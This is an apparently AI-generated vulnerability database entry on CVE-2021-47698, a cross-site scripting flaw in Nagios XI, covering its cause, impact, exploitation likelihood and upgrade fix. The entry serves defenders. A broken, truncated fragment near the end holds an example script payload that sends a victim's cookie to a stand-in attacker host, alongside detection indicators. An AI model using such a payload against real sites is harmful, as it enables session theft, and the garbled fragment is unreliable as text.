
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2021-47698 is a stored/reflected cross-site scripting (XSS) vulnerability in Nagios XI versions prior to 5.8.7 that uses embedded Nagios Core. The flaw exists in the Core UI's Views URL handling via the escape_string() function, where insufficient validation or escaping of user-supplied input allows an authenticated attacker to inject and execute arbitrary scripts in a victim's browser. The CVE was assigned by VulnCheck and published to NVD on November 3, 2025, with initial analysis completed on November 7, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Red Hat Advisory, VulnCheck Advisory).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerability resides in the escape_string() function within Nagios Core's Core UI Views URL handling component embedded in Nagios XI, which fails to adequately sanitize user-controlled input before rendering it in the browser. Exploitation requires a low-privileged authenticated attacker and user interaction (e.g., a victim clicking a crafted link or visiting a manipulated view), making it a network-accessible, low-complexity attack with a changed scope affecting the victim's browser session (VulnCheck Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within the Nagios XI application. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim (such as modifying monitoring configurations), and potential phishing attacks. Confidentiality and integrity impacts are limited to the browser context; there is no direct availability impact (VulnCheck Advisory).
No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.376%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privileged account and victim interaction, which limits opportunistic mass exploitation (Red Hat Advisory).
escape_string() function, embedding a JavaScript payload (e.g., <script>document.location='http://attacker.com/steal?c='+document.cookie</script>).%3Cscript%3E, onerror=, onload=) in URL parameters.Nagios has addressed this vulnerability in Nagios XI version 5.8.7. Administrators should upgrade to version 5.8.7 or later as the primary remediation. As a temporary workaround, restrict access to the Nagios XI web interface to trusted networks or VPN, and enforce the principle of least privilege to limit the number of accounts that could be used to deliver the XSS payload. Review and apply Content Security Policy (CSP) headers if supported by the deployment environment (Nagios Changelog, VulnCheck Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."